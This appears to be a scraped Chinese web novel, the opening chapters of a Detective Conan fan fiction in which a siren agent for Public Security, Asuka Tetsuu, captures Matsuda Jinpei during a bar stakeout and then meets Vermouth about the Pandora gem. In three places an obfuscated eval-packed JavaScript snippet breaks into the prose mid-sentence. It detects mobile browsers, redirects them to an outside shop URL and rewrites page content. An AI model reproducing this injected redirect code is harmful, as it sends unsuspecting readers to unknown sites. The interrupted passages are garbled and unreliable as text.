《马甲掉光的我只好掀桌了》 1. 第 1 章 “黑田理事官。” 黑田兵卫点头致意,径直走到走廊的尽头,推开审讯室的外门。 透过一层隔音玻璃,首先映入眼帘的就是飞鸟彻羽那双,翼展四米有余的洁白羽翼,和对方在白炽灯光下,水晶一般剔透的华丽鱼尾。 苍白微卷的长发,像是沙滩上白色的浪花,被一支纤长笔直的红珊瑚高高簪起。 光看背影,就无愧于是传闻中以美貌闻名的塞壬。 飞鸟彻羽捧住对方那张惊慌失措的脸,循循善诱: 【……说说嘛】 “我不……不想……” 【说说看,你自己想说的】 “不……不……” 【想的】 …… 【言灵】还真是可怕。 黑田兵卫看着一镜之隔,开始一五一十招供自己前三十八年精彩履历的,公安攻坚三天三夜都没能啃下的硬骨头,如是想到。 通过言语役使生灵,只要他愿意,就可以将对方变成听话的傀儡。 如若不是魔法端的沟通和养成成本过于高昂,公安真的想要组建一支全部由魔法师组成的特殊队伍。 不过眼前的这位是个例外。 飞鸟彻羽,19岁,原身塞壬,组织叛逃实验体,代号香槟。 于几年前偷走组织核心实验成果,可以逆转时间的洪流,让死人复生的宝石潘多拉后叛逃,并顺手在M7实验室放了把火,现在“香槟”的悬赏即使几年过去,依然荣登暗网身价榜首。 之后在机缘巧合之下,被同样调查潘多拉的黑羽家收养,自此,组织的香槟像是其他有70亿同类的人类一样,做好易容,藏匿在人类社会,如鱼入海,无处寻踪。 直到两年前的“黑羽盗一表演失误意外身亡”,才迫使塞壬不得不摘下那张平平无奇的易容,加入公安,重新卷入到和组织对弈的洋流中。 审讯工作进行到这个份上,当然也没什么继续的必要,飞鸟彻羽推门出来,点点头就算是和自己的负责人打过招呼。 眼前的少年背对光源,白炽灯刺眼的灯光穿过苍白的发丝,像是在脑后绽开的光晕。 再往下,是一双明媚的鸳鸯眼,右眼尾坠着三粒并列的、殷红的泪痣。 没有眼白,左金右蓝,像是阳光普照下的地中海面,甘甜醉人的酒红葡萄。 飞鸟彻羽有一双会说话的眼睛。 在那双眼睛里面,看见平静海面下的暗流涌动,和眼前人不可诉诸于口的私心。 没吭声——他在等着对面诉说来意。 “在潜伏的同事传来消息:组织那边准备下套,清理障碍。” 飞鸟彻羽苍白的双手挤出两泵酒精凝胶,仔细搓洗消毒自己刚刚碰到那个渣滓皮肤的每一处缝隙: “没必要管,反正都知道只是针对‘飞鸟彻羽’的行动,而不是叛徒香槟,可想而知组织投入的精力肯定没法相提并论,折腾一趟收益不够误工费——我们最近很闲吗?” 不应该啊,明明这个月光在组织产业链里面的社长就查了21个……今天七号。 工作应该饱和才对啊。 飞鸟彻羽接过装在密封袋里,厚厚的一沓纸质报告。 不出所料,没提潘多拉,没有长相,没有名字,没有半点和飞鸟彻羽有关的描述——哪是什么组织追杀叛徒?分明就是最近财政损失惨重,狗急跳墙急眼了。 随着少年轻轻欠身而前后摇晃,胸前坠着的,足足有成年人眼球大小的绯色宝石,在惨白的灯光下折射出刺眼的红光。 “上面的意思是,叫你去一趟。” 飞鸟彻羽掀起眼皮,顶着那张好看到瘆人的脸,盯着黑田兵卫的眼睛,诘问三连: “拿我钓鱼?你认真的?我很弱的?” 在组织的实验经历,早就掏空了飞鸟彻羽的健康,好在是有潘多拉吊着命,不然高低让办公楼大门口的两棵樱树尝尝海味。 ……想想还是算了,死后埋在警视厅门口也太地狱了。 “之后你的任务报告会录入公安系统,至少把‘鱼饵’挣回来。”黑田兵卫不置可否,“发挥你的种族特性——塞壬不是很擅长引诱人类吗?” 飞鸟彻羽哂笑一声。 “好啊,但我可不能保证,究竟引来的是缪斯女神,还是英雄奥德修斯。” * 东京,新宿,歌舞伎町,笼目酒吧,晚10点47分。 松田阵平默默点上一根烟,烟头的火光明明暗暗,照在脸上,莫名有种难以言喻的疲惫感。 几人今天聚集在此的原因,是为了调查一个同期,浅井和人。 浅井和人是在警校晨训时,众目睽睽下昏倒的,被鬼冢教官紧急送往医院后,就像正在起飞突然被猎枪击中的野鸡,在空中径直坠落,从此了无音讯。 之后就是浅井因病退学的消息。 宿舍被空了出来,教室也多了一张空位。 浅井和人本身没有什么亲近的朋友,也完全联系不上他的家人,向鬼冢教官打听也被什么“隐瞒遗传病史”的敷衍借口打发,趁着假期想去探望同学也被教官无情驳回…… 所以刚开学就以一种不可思议的速度,和全班同学熟络起来的萩原研二,伙同自己的幼驯染松田阵平,成功赶在宿舍被清理出来之前,找到浅井随手揣在兜里的小票。 小票并没有写明店家的LOGO,但是可以清楚的看到结账时间,而那天警校训练,说明浅井的能去的地方非常有限,再结合上面另起一行的,比同水平酒吧都要贵出60%的服务费,凭借自己广泛到不科学的人脉,几人迅速确定了是这家酒吧。 笼目。 但是即使锁定了这间可能和浅井退学有关的酒吧,没有办法锁定进一步的线索,调查从此停滞不前。 今晚依然是一无所获,反而被见色起意的男男女女弄得心力憔悴的松田阵平,很不义气地丢下幼驯染面对蜂拥而上的麻烦,决定偷跑出来吸根烟。 ……不对劲。 皮鞋踩进没有灯光照亮的阴影里,细碎的声音都仿佛被黏腻的影子吞下…… 最关键的是……即使没有任何一处感官捕捉到异常,偏偏古怪的第六感就像是检测到陌生船只靠近的雷达,开始在脑海内高声叫嚣。 像是被大型的野兽紧紧锁定,被凝固的气氛扼住了喉咙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395878|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明暗暗的火光被不知名的手掐灭。 松田阵平一怔。 “不要再往前走了哦。” 突兀响起的少年音在静谧的黑夜中炸开,大概距离松田阵平不到二十米的距离,吓得小卷毛一个激灵。 ……没有听到半点声音,什么时候出现在面前的? 失去火光后,完全适应黑暗的眼睛隐隐约约捕捉到眼前闪烁着的,密密麻麻的红光,像是黑暗中窥伺着的眼睛,贪婪地注视着误闯的猎物,期待将在场的所有生灵撕个粉碎。 松田阵平心里泛起不太妙的猜测:“……那是什么东西?” 飞鸟彻羽给出意料之中的答复:“炸弹。” ……这种体量的炸弹,估计能把整层楼清空。 还好松田阵平平时有随身携带拆卸工具的习惯,即使尚未上任,也迅速拿出警察的专业素养:“我会拆弹,麻烦组织无关人员撤离,还有顺便去外面叫一下hagi——这么多炸弹我一个人可能搞不定。” 考虑到一个陌生人大概不会认识萩原研二,松田阵平叼着熄灭的香烟,耐着性子描述了一下:“男的,二十多,中长发,紫眼睛,一米九往上——你就找着人多的地方喊一声‘萩原研二’,告诉他‘松田阵平找他拆弹’,他自己会跟你走的。” 飞鸟彻羽不应声,凝重的沉默在两人之间蔓延开来,先前叫松田阵平不寒而栗的感觉像是跟在身后的影子,重新攀上后颈。 良久,于黑暗中传出一声轻笑: “你为什么不打电话?” 隔着漆黑的帷幕,松田阵平与被闪烁着的、模糊的轮廓对视: 少年身形,坐在走廊悬挂着的画框边缘,目测三米有余的尾巴垂落下来,展开宽大的尾鳍……还有丢在尾边不省人事的身影。 “想支开我——怕我吃人吗?” 松田阵平顾不上自己坚定了23年的唯物主义世界观被击的粉碎,摆在眼前的是更急迫更严峻的问题。 面对有攻击性的、挟持人质的、手边就是炸弹,拥有可以和人类平等交流的智力水平的非人,而自己四舍五入算是手无寸铁…… 应该怎么处理? 细思极恐的是,鱼尾显然不适合陆地行走,那么问题来了——祂究竟是怎么跑到这种地方来的? 如果是这里有其他特殊通道,说明祂至少比松田阵平本人了解环境。 如果是被别人带到这里临时出逃,说明祂很有可能不只伤了一个人。 如果是有旁人帮助移动,说明周边还有松田阵平没发现的其他同伙。 三选一,不论是哪个结果都令当前已经足够严峻的处境更雪上加霜。 而且还有这种体量的炸弹…… “怎么会,我只是一时没想起来。” 松田阵平决定先稳住这个会说话的定时炸弹,伸手摸出放在口袋里的手机,按亮屏幕…… 下一瞬间,原本平整的地毯像是突然有了生命,抓住松田阵平的双腿,把他拽倒在地。与此同时,一颗子弹击破走廊玻璃,擦着松田阵平的肩膀精准打进旁边堆叠的炸弹内。 惊魂未定的小卷毛:!不好?! 2. 第 2 章 ……什么都没发生。 “噗嗤。” 一片死寂中,飞鸟彻羽幸灾乐祸的笑声显得格外明显。 他似乎是想要礼节性的憋住笑声,奈何对方受到惊吓时候的样子实在过于有趣,尝试几次未果之后,遂干脆放弃,理直气壮地笑出声来。 松田阵平还没从刚刚心脏骤停的惊吓当中回过神来,嗓音难免干涩:“……那是什么东西?” 飞鸟彻羽终于止住了笑,可以空出嘴来回答他的问题:“狙击枪。” 平心而论,声音很好听,像是清晨森林里沐浴着薄雾的鸟儿,唱着婉转清脆的歌——如果不是在这种情况下,还有隐隐的三分笑意。 “不是说那个……” 松田阵平竟然也找不到什么合适的语言来形容,说到一半卡壳了。 “就是炸弹和地毯,只不过是活的,”飞鸟彻羽没有什么隐瞒的意思,“我赋予它们生命,然后用言灵役使它们。” 这就是潘多拉的苏生与塞壬的言灵组合起来的妙用了。 松田阵平:……不要把这种惊世骇俗的话说得这么理所当然啊。 没理会自己寥寥几句就丢下的重磅炸弹,飞鸟彻羽用尾鳍将地上的“人质”来回拨动,像是摆弄一根擀面杖。 一直听到对面六百码开外的狙击手被异常处理课成功逮捕,飞鸟彻羽才拍开吊灯。 刺眼的灯光被华丽的水晶折射开来,松田阵平被晃得眼前一黑,隔着一副单片眼镜,和那双非人感十足的鸳鸯眼对上视线。 看起来倒是年纪不大,不过也不排除不同种族之间成熟年龄不一致的缘故。 “……我们要在这里等到什么时候?” 曳着巨大鱼尾的家伙……松田阵平合理怀疑他有仗着自己长得好看,打算把自己缺德行径糊弄过去的嫌疑:“要等我的同事处理好对面的狙击手,安抚好被疏散的民众,然后来接我们……哦忘了自我介绍了。” 飞鸟彻羽轻巧地跳下画框,失去地毯保护的木地板和做工考究的皮鞋接吻,发出一声短促的脆响,光是站在那里就足够让人来气。 “我是隶属于警视厅-公安部-异常处理课的飞鸟游——这是我的警察证。” 自说自话的家伙好像才意识到对方现在被地毯裹成了个花卷,实在不方便伸手去接东西,于是指使正在假装自己是束缚衣的地毯,用边缘的流苏卷住证件,给松田阵平看看。 ……照片确实是本人不假。 警校生在读,还没有警察证的家伙:“……你怎么保证不是假证?” 虽然自己确认了是真的,但是刚刚还亲眼见证了鱼尾变人腿,松田阵平觉得自己的怀疑实在是很有必要的。 飞鸟彻羽被质疑了,反而是很古怪地撇了松田阵平一眼,像是在责怪他干嘛要问这种问题。 明明显而易见的答案,最好的处理结果就是彼此心照不宣吗。 说实话,因为是全瞳,不论在哪个角度看过去都像是在对视的缘故,想要判断飞鸟彻羽具体盯着哪边看实在有些困难,但松田阵平就是很微妙地感受到了自己得了个白眼。 “你有什么被骗的价值?” “……好吧,我相信你——现在不能松开我吗?” “那可不行,我很弱的,万一把你放开,你挟持我怎么办?” 刚刚被苏生出来的炸弹智力水平实在堪忧,见地毯给松田阵平递东西,自己也有样学样,吐出之前吃下去的子弹,也推过去送给小卷毛。 松田阵平:…… “你故意的。” 松田阵平几乎要被这个无法无天的家伙给气笑了,“你故意诱导我提供光源,进而诱导狙击手开枪,来确定对方位置?” “……说话之前动动脑子,没有你难道我们的任务就没办法进行了?况且你这不也没事,还有闲情逸致在地上爬呢。” 这不就是承认,松田阵平挨了的那一枪,包括后面的担惊受怕根本就没必要? 松田·被地毯制服·动弹不得·阵平:“你在故意找事是吧?” 飞鸟彻羽是这样的,缺德缺的理直气壮,坏也坏的坦荡:“先污蔑我要吃人的家伙没资格这么说。” 后知后觉发现自己冒犯在先的松田阵平:“……你还真是不记仇。” 有仇都当场就报了。 “怎么会呢?后面也会……” 有仇当场就报了,事后想起来还可以接着报。 一场尚未酿成规模的风暴在一阵响亮的铃声中偃旗息鼓,飞鸟彻羽捡起地上闹个不停的手机。 Hagi。 就是刚刚提到过的“萩原研二”吧。 原本站在松田阵平身前,仗着海拔优势睥睨小卷毛的家伙拉平了嘴角,手机光屏映照镜片上,反射出诡异的光。 飞鸟彻羽不笑的时候其实很吓人,像是一张揉皱了的白纸,展开、压平,思考片刻,然后再换上新的面容。 松田阵平顿感不妙,刚刚那股随着灯光被驱散到角落里面的诡异感如影随形,重新追赶上猎物的脚步,顺着小动物柔软的皮毛蜿蜒而上,爬到脆弱的后颈,然后咬碎它的脖子。 “你要去签一个保密协定。” 少年的情绪控制力极佳,不过须臾就从刚刚“作奸犯科的黑警”,转变成了“成熟可靠的前辈”,居高临下地通知他。 【晚安,奥德修斯,做个好梦】 等…… 普通人对塞壬的声音几乎没有任何抵抗力,即使松田阵平已然事先做足了心理准备,也只能合上眼睛,沉沉睡去。 铃声断了又断,但是电话那头的人一遍遍打过来,锲而不舍。 飞鸟彻羽接起电话,捏成松田阵平的嗓音:“喂?” 电话那边的人实在是担心,倒豆子似的将满腹的关心一股脑地倒了出来。 飞鸟彻羽一一应下,用着即使是对边音轨图像都没有办法分辨出异样的声音,学着松田阵平的语言习惯回答道:“……一会要去医院……没受伤……还要去做笔录……” 不枉他之前和松田阵平将那么多废话。 “知道了,hagi。” * “所以你就这么把人家绑架了?” “这家伙有点邪门。” 飞鸟彻羽不置可否,翻过医院的窗户,收起宽大的羽翼,将睡得不省人事的小卷毛丢在VIP病房的豪华大床上,补充了一句,“他能感受到我魔力的味道。” 队医眉梢一挑。 她曾经也体会过飞鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395879|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻羽的魔力:纯净、阴冷、粘稠、厚重、带有海妖特有的腥咸味和连绵不绝此起彼伏的生命力。 这确实是不太寻常,按理说完全没有魔力的普通人,是没办法感知得到哪怕是一星半点的魔力的。 ——不过眼前最该处理的不是这个。 “知道了,一会叫竹取来处理。” 没有医德的女士将躺在病患丢在病床上,顺手挑出一瓶药水,扯过一旁有些脱力到只得靠在墙上借力的少年,把他塞进副驾驶的位置,甩上车门。 打开车内的信号屏蔽仪,和玻璃反光,扯开飞鸟彻羽的衣领,露出隐匿在布料下秘银制的束缚器,还有他因为违反束缚被灼伤的皮肤。 ——这东西在异常处理课一抓一大把,作用是减少佩戴者魔力的使用量,进而起到约束的作用。 “……偷用潘多拉,超量使用言灵,还有未经允许对普通人使用魔法。”医生冷哼一声,一手掐住飞鸟彻羽的下颌,一手挤进一根手指,分开皮肉,方便观察伤处。 没什么大碍,是竹取调配的药水足够解决的程度。 医生打开墨绿色,鼓着不详气泡的药水,用手指故技重施挤出一个缝隙,小心地将其涂抹在惨不忍睹的皮肉上。 快速恢复的感觉不比受伤好到哪去,另三边伤口被强行挤压的滋味更是难熬,飞鸟彻羽疼得眼睫止不住地颤抖。 像是第一次试飞的雏鸟,迎风鼓动翅膀。 “忍忍,要是皮肉和项圈长在一起你更麻烦,”话虽那么说,手上的力道还是放轻了些,“叛逃之后转行给公安做狗了吗。” 一直到那股刺激感全然消退,飞鸟彻羽倚着车窗,路边被甩在身后的事物在他晦暗难明的瞳子里飞速掠过。 “说正事,莎朗,那家伙身上有潘多拉的魔力残秽。” 这是松田阵平能感知到飞鸟彻羽魔力的原因,先前的“被威胁感”也是来源于此:只是浅浅刮蹭沾到的那一星半点,面对当年组织银弹实验的唯一幸存者,有紧张感是再正常不过的事情。 贝尔摩德并不意外自己被识破身份,且不论她的易容术来源于黑羽盗一,飞鸟彻羽现在名义上的监护人,想要瞒过塞壬超乎常人的感知力几乎是不可能的事情。 妩媚的影后盯住飞鸟彻羽那双非人感十足的异瞳,和他胸前被胸链坠挂着的猩红宝石,面沉如水。 自当年香槟叛逃之后,失去潘多拉、相关实验体、实验数据、实验人员的银弹计划被迫停摆,贝尔摩德这一批实验体才得以获得代号,不用再继续出卖自己的研究价值。 而现在有新的、来源不明的潘多拉出现…… 要么是组织已经找到了复刻潘多拉的办法,而贝尔摩德作为组织高层,银弹计划当事人之一,被权力排除在外。 要么就是组织已经划出了香槟的大致活动范围,这是一次光明正大且极其精准的威胁。 前两者意味着组织随时可能重启银弹计划,作为幸存且未能脱离组织的实验体,贝尔摩德首当其冲。 后者意味着飞鸟彻羽可能连累救下自己的黑羽家。 透过后视镜,飞鸟彻羽和贝尔摩德对上视线。 塞壬的嗓音有些嘶哑,像是在预告水手凄凉的前路:“我们有麻烦了。” 3. 第 3 章 车内气氛肃穆,仿佛被困在这个密闭空间里的不是两个会睁眼会喘气的活物,而是两座隔空相望的孤坟。 贝尔摩德专心开车,飞鸟彻羽闭目养神。 直到低调的小轿车绕了半圈,确信没有其他人跟踪,贝尔摩德才找到一个僻静的角落把车停下。 “……我有多少时间?” 飞鸟彻羽早就在心里算好了:“最理想的情况是在8天之内解决。” 松田阵平到达异常处理课医务部的具体时间是在11点半,化验科对比鉴别潘多拉需要8小时,特殊事件上交报告到审批需要12小时,下达任务报告敲定人选需要2小时,筛查松田阵平本身的关系网络至少要48小时,基本确定方案和下一步人选需要12小时,公安通知各部门配合各类证件、不在场证明等信息至少12小时。 在此过程中,飞鸟彻羽可以保证是上下铁桶一块,消息绝对不会泄露——如果真的有人能逃过言灵审问和香槟的眼睛,那飞鸟彻羽就根本不可能在那安安稳稳坐上两年了。 ——不会有比潘多拉更有价值的情报了。 在此之后,公安内部肯定是有卧底的,这也是在飞鸟彻羽明确提出没必要理会组织那边的“钓鱼”行径,黑田兵卫坚持如此的原因: 接下来就是公安内部的筛查。 保守估计又要三天。 而根据之前组织的经济损失判断:至少有权利插手负责组织外勤工作的干部级别成员,琴酒和朗姆都不在,负责日本分部的匹斯克是半个废物,短时间内没人可以迅速接手。 综上,确切时间总计七天,其中所有涉及环节均按照最高效率且无意外状况发生考虑,多的那一天算作留给琴酒的通勤时间。 “从今天开始算8整天,在此期间内你的所有行为,我都可以及时反映并兜底,超出部分就可能要考虑风险了——说不定琴酒会请你吃枪子……” “你怎么能判断琴酒不在日本?”贝尔摩德自己都没能收到这个消息。 这种类别的情报,难不成除了她自己,组织里还有别的干部给他通风报信? 飞鸟彻羽掀起眼皮,看了她一眼,像是在纠结她为什么会讲这种怪话: 琴酒对于行动组,就像是所有人的颅腔内容物,表面上乍一看有还是没有没办法用肉眼分辨,实际上有脑子和没脑子之间的差距比人和金鱼之间的差距还大。 琴酒在哪不是通过对比某地区行动组整体水平可以间接反映的吗? 至于琴酒暂时潜伏起来不做任务? 组织的Top killer可没有太多这种特权:) “……最好抽空处理一下你在日本这边的尾巴。” 七天之内,接连损失21处,就算匹斯克本人能沉得住气,朗姆那个权力上瘾的老东西也得盯着他的错处撕下两块肉来。 贝尔摩德的势力主要是在北美,但是各个分部之间肯定不可能那么境界分明,这次不下场的话,提早做准备减少误伤。 “或者可以给匹斯克也递点朗姆的把柄……要不再拱一把火——你能别用赛琳娜的脸做那种表情吗?说实话有点恶心。” “不,没什么——你要插手组织的派系斗争?” 要不怎么说,比起对手更狠叛徒——自己人才知道哪里戳痛楚最疼啊。 飞鸟彻羽沉吟片刻,用指节轻轻敲击车窗,发出有节律的脆响,这个动作贝尔摩德曾经无数次看见过,在香槟和琴酒当年狼狈为奸的时候。 这意味着香槟八成又在打什么伤天害理的主意: “不,不是现在。” 飞鸟彻羽摸出一枚羽毛挂件,丢给贝尔摩德:“去笼目地下四层,报我的全名,走传送门能节省通勤时间,往返票,一次性的。” 唯一的麻烦就是,走传送门属于非法入境,不过反正贝尔摩德也是用假身份和假证,四舍五入就是没影响。 贝尔摩德抛了抛,放进胸前的口袋里:“车载冰箱里面有给快斗买的零食,到时抓紧放进冰箱里,不然会化,你要的东西在后备箱。” “知道了。” * 飞鸟彻羽回到家的时候,客厅的挂灯时针堪堪走过三点。 把睡成一团的黑羽快斗从沙发上挖出来,睡眼惺忪的小孩顶着一头毛茸茸的小炸毛,环住少年的脖子,含含糊糊道: “……才回来。” 蹭蹭飞鸟彻羽的脖颈,寻了个舒服的姿势靠着。 飞鸟彻羽把困得皱皱巴巴的小孩抱好,放回到床上,但是黑羽快斗困糊涂了,环抱着不肯撒手。 少年撑起自己的重量,注意不要压到他,拍拍快斗的胳膊:“……松开。” “不要,”黑羽快斗有些清醒了,手脚并用像只小考拉一样,紧紧扒住飞鸟彻羽不松开,“我要和你睡。” “……我今天还没洗。” 一身酒味加火药味。 “那你快去,我等着你,快去快去。” 飞鸟彻羽企图挣扎一下:“你十一岁,应该自立了。” 黑羽快斗又摆出那种标志性的,耍赖似的撒娇,先是“kkk”的装傻笑一笑,然后黏黏糊糊地念经:“明天再自立嘛我要嘛我要嘛我要……” “好好好行行行,”飞鸟彻羽被吵得焦虑症都要发作了,妥协的飞快,“你别念叨了。” 招式老套有什么,管用就行呗:b 被偏爱的小孩向来有恃无恐,我哥就是最喜欢我! “先松手,我去洗澡,”飞鸟彻羽拆了头发,苍白微卷的发丝垂落下来,笼罩在两人身上,像是被网俘获,“你先睡你的。” 黑羽快斗觉得自己想到了一个好主意:“我要跟着你。” “……我是去洗澡。” “那我在外面等着!” 飞鸟彻羽伸手去捏黑羽快斗的痒痒肉,措不及防被袭击软肋的小无赖一时不查大意失手,跌回到柔软的被垫间,左扭右扭把床单滚得乱七八糟。 “很晚了,你先睡。”飞鸟彻羽贴贴黑羽快斗的额头,将捕梦网挂在床头,唤来手套执事整理床铺。 飞鸟彻羽不耐烦做家务,不擅长也不愿意练,也不好一直坐享其成干等着别人做,所以干脆苏生了一批乳胶手套专门用作处理家务。 手套是同一批一起买的,根本没区别,飞鸟彻羽也没兴趣给每个苏生的东西起名字,倒是黑羽快斗有这个闲情逸致。 飞鸟彻羽给他掖好被角,理齐蹭的像鸟窝一样的头发。 “睡吧,好梦。” 飞鸟彻羽安顿好黑羽快斗,折返回去,将贝尔摩德买的零零碎碎的东西一一分拣好,都分类放进冰箱里。 ——完整看一遍下来,全都是黑羽快斗爱吃的。 最近要督促他好好刷牙了,飞鸟彻羽如是想到,不然把这些都在保质期前吃完的话,牙齿会烂光吧。 飞鸟彻羽将衬衫脱下来,卷成一团,丢进垃圾桶,泡进已经放好的浴缸里。 水温刚刚好。 任劳任怨的手套依次从浴室墙上的架子上,取下各种瓶瓶罐罐: 不论是鱼尾还是翅膀,都是需要仔细保养的,不然羽毛会松散分叉,鱼尾会掉鳞黯淡,更别说皮肤和尾鳍的保养更是重中之重。 【……不涂这个】 快斗不喜欢这个味道,苦兮兮的。 飞鸟彻羽大爷一样,枕在浴缸边缘,享受五星级服务。 和镜子内的自己隔空相望。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395880|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩桩一件件…… 组织这边,匹斯克搞出这种程度的失误,足够叫他们折腾一阵了。 贝尔摩德要去圣彼得堡。 潘多拉。 公安…… 飞鸟彻羽盯着自己那双晦暗的眼睛。 还有潘多拉和松田阵平…… 啧。 祈祷警视厅明天爆炸。 镜中那张别无二致的脸,挤出一个狰狞地笑脸。 飞鸟彻羽伸手,手心贴上冰冷的玻璃,和自己手心相抵,下一瞬间,镜中的自己挣脱镜面的桎梏,和自己十指相扣。 镜中的怪物探出脑袋,想要和这个世界上唯一的同类耳鬓厮磨…… 然后被飞鸟彻羽甩开手摁回去,只好委屈巴巴地用眼神控诉他。 飞鸟彻羽从浴缸迈出,等浴巾给自己擦干身体,披上浴袍,吹风筒烘干自己的头发。 推开门,和缩在门边困得控制不住给周边胡乱磕头的小无赖对上视线。 飞鸟彻羽轻轻叹息,又将他抱起来,塞进被窝里安顿好。 黑羽快斗嗅嗅他发间淡淡的甜味,感觉很满意,很是不见外地拱进哥哥怀里,找了个舒服的姿势,扯过一只翅膀给自己盖上,很快陷入梦乡。 飞鸟彻羽把他额间的乱发别到耳后: “睡吧。” * 即使是被凌晨吵醒,也依然没有影响黑羽快斗一觉睡到天光大亮。 伴随着窗外清脆的鸟啼,黑羽快斗在被厚重窗帘遮挡的几乎不透光的卧室中睁开眼睛,刚刚醒来脑子还是迷迷糊糊的,完全没有办法做什么高深的思考。 于是黑羽快斗就开始盯着对面那张脸出神。 借着昏暗的日光,来来回回数着飞鸟彻羽那三粒殷红的泪痣,和浓密的眼睫,好像这是什么太有吸引力的游戏,能让沉迷其中,人乐此不疲…… 咚咚。 是挂钟管家催他上学了。 黑羽快斗猛地从床上弹起来:“完蛋要迟到了!哥哥哥!快起快起!” 飞鸟彻羽“嗯”了一声,根本没醒的样子。 好吧,就知道他爬不起来。 不过黑羽快斗也早就习惯他赖床了,从床上跳下来,咚咚咚地跑到洗手间,风卷残云般刷牙洗脸,又咚咚咚地跑回到卧室,猛地一把掀开飞鸟彻羽的杯子: “哥哥哥哥哥快起床啦!先吃了早饭再去睡嘛,不吃早饭胃会烂掉的——今天早上有……” 有什么不知道。 于是又丢下被子跑到厨房,今天的早饭是欧包配奶油蛤蜊汤,欧包是刚做出来新鲜的,蛤蜊汤在锅里热着,黑羽快斗各自尝了一口,温度刚刚好。 然后又跑回卧室:“今天早上吃你喜欢的蛤蜊哦,快起快起!” 飞鸟彻羽已经坐起来了,现在披着一头被黑羽快斗弄得凌乱的头发,表情麻木眼神呆滞。 ——他之前连轴转了四天,这才睡了半夜,爬的起来才是怪事。 黑羽快斗一边抓住他的袖子自己用力,一边指挥手套执事也要帮忙,把飞鸟彻羽从床上拽了起来,推到洗手间洗漱。 刚刚起来但是脑子还没清醒的飞鸟彻羽是这辈子最乖顺的时候了,不臭脸不挤兑人,虽然也没什么反应但是任由摆弄,给人一种“难怪说是相由心生”而不是“多亏他长了张好脸”的欺骗感。 飞鸟彻羽收拾干净走到餐桌前的时候,黑羽快斗已经吃完了,正在换鞋: “哥我要走了吃完饭记得吃药不许偷偷回去加班我走了要迟到了今天晚上记得来学校接我不说话就当是你默认了!” 说罢,根本不给飞鸟彻羽开口的机会,像是有人在后面追似的,冲出家门。 飞鸟彻羽:…… 4. 第 4 章 ……未免有些太有活力了些。 不过小孩子跳脱一些也没什么。 飞鸟彻羽吃完早饭,将碗筷丢给手套收拾,躺在沙发上,摊开尾巴。 从储藏柜里拿出一罐珍珠,捻起一粒丢进嘴里,关闭手机“免打扰模式”。 下一瞬间,手机爆炸性的尖叫起来,不出意料是黑田兵卫。 ……隔着屏幕都能感受到对面的怒气。 “我收到你提交的潘多拉相关报告了,”黑田兵卫并没有借此发难,可能也是已经习惯了飞鸟彻羽就是这个德行,不过好在他不会因为个人原因影响工作效率,“你怎么看?” “理论上我应该不会感觉错——估计再过三个小时,就能看到检测的结果。”飞鸟彻羽起身给自己倒了杯温水,五颜六色的药片倒进手心里,一起被水冲下,“但是这事逻辑上说不通。” “当年香槟叛逃的时候,一把火将M7实验室烧了个干净,之后即使还有残余,又被清洗过一次……” 有些话不便明说,但是该懂的人都懂。 黑田兵卫记得那场火,或者说当年但凡是和组织有关的,不会有人不记得: 来自地狱的业火将组织M7实验室席卷一空,实验体,实验资料,实验成果,研究人员…… 什么都没留下。 他知道飞鸟彻羽想说什么。 “有没有可能,其他人也同样研究出来潘多拉?” “您可真幽默,”飞鸟彻羽由衷地赞叹道,“原来除了您和您的妻子生的儿子,别人也可能生出如出一辙别无二致的另一个。” 虽说是话糙理不糙,但是这话未免有点太糙了。 黑田兵卫有时候实在是被飞鸟彻羽堵得肺疼的时候,也会纠结他这种戳人肺管子的爱好究竟是怎么养成的。 但是思来想去也没什么结果,遂不了了之,只得和他那张站在人类审美巅峰的脸归于一类——天生的。 “估计这次也要你跑一趟——潘多拉的事情不便再有知晓。” “我知道,”本就是约定之内的事情,飞鸟彻羽当然没有什么意见,“预计在什么时候?多久?” “估计四天后到位,这几天休整一下,这次时间可能会很长。” 因为异常处理课的特殊性,不像是警察系统中的其他警种,完全属于是高层掌握之外的力量,所以相关的各项审核都格外严格,相应的,效率也更低。 “知道了。” 飞鸟彻羽挂了电话,带上眼镜打开电脑,指使手套冲了一杯咖啡,开始处理文件。 不知过了多久,又有一个电话打了进来。 飞鸟彻羽摆摆尾巴,指使手套接电话: “老大!是我,竹取啊!” 竹取花火是异常处理课的在职成员,本相是位有着八只眼睛,三双手的蜘蛛女孩,擅长现场勘察和痕迹检验。 擅长傀儡术。 能力不错,也很上道,就是话太多了些。 “就是那个你今天凌晨带回来的那个谁就是你用言灵放到了的那个松田阵平他的魔力残秽检测结果出来了是大概在一个星期之前沾染上的就是现在我就按照这个结果交上去还是……” 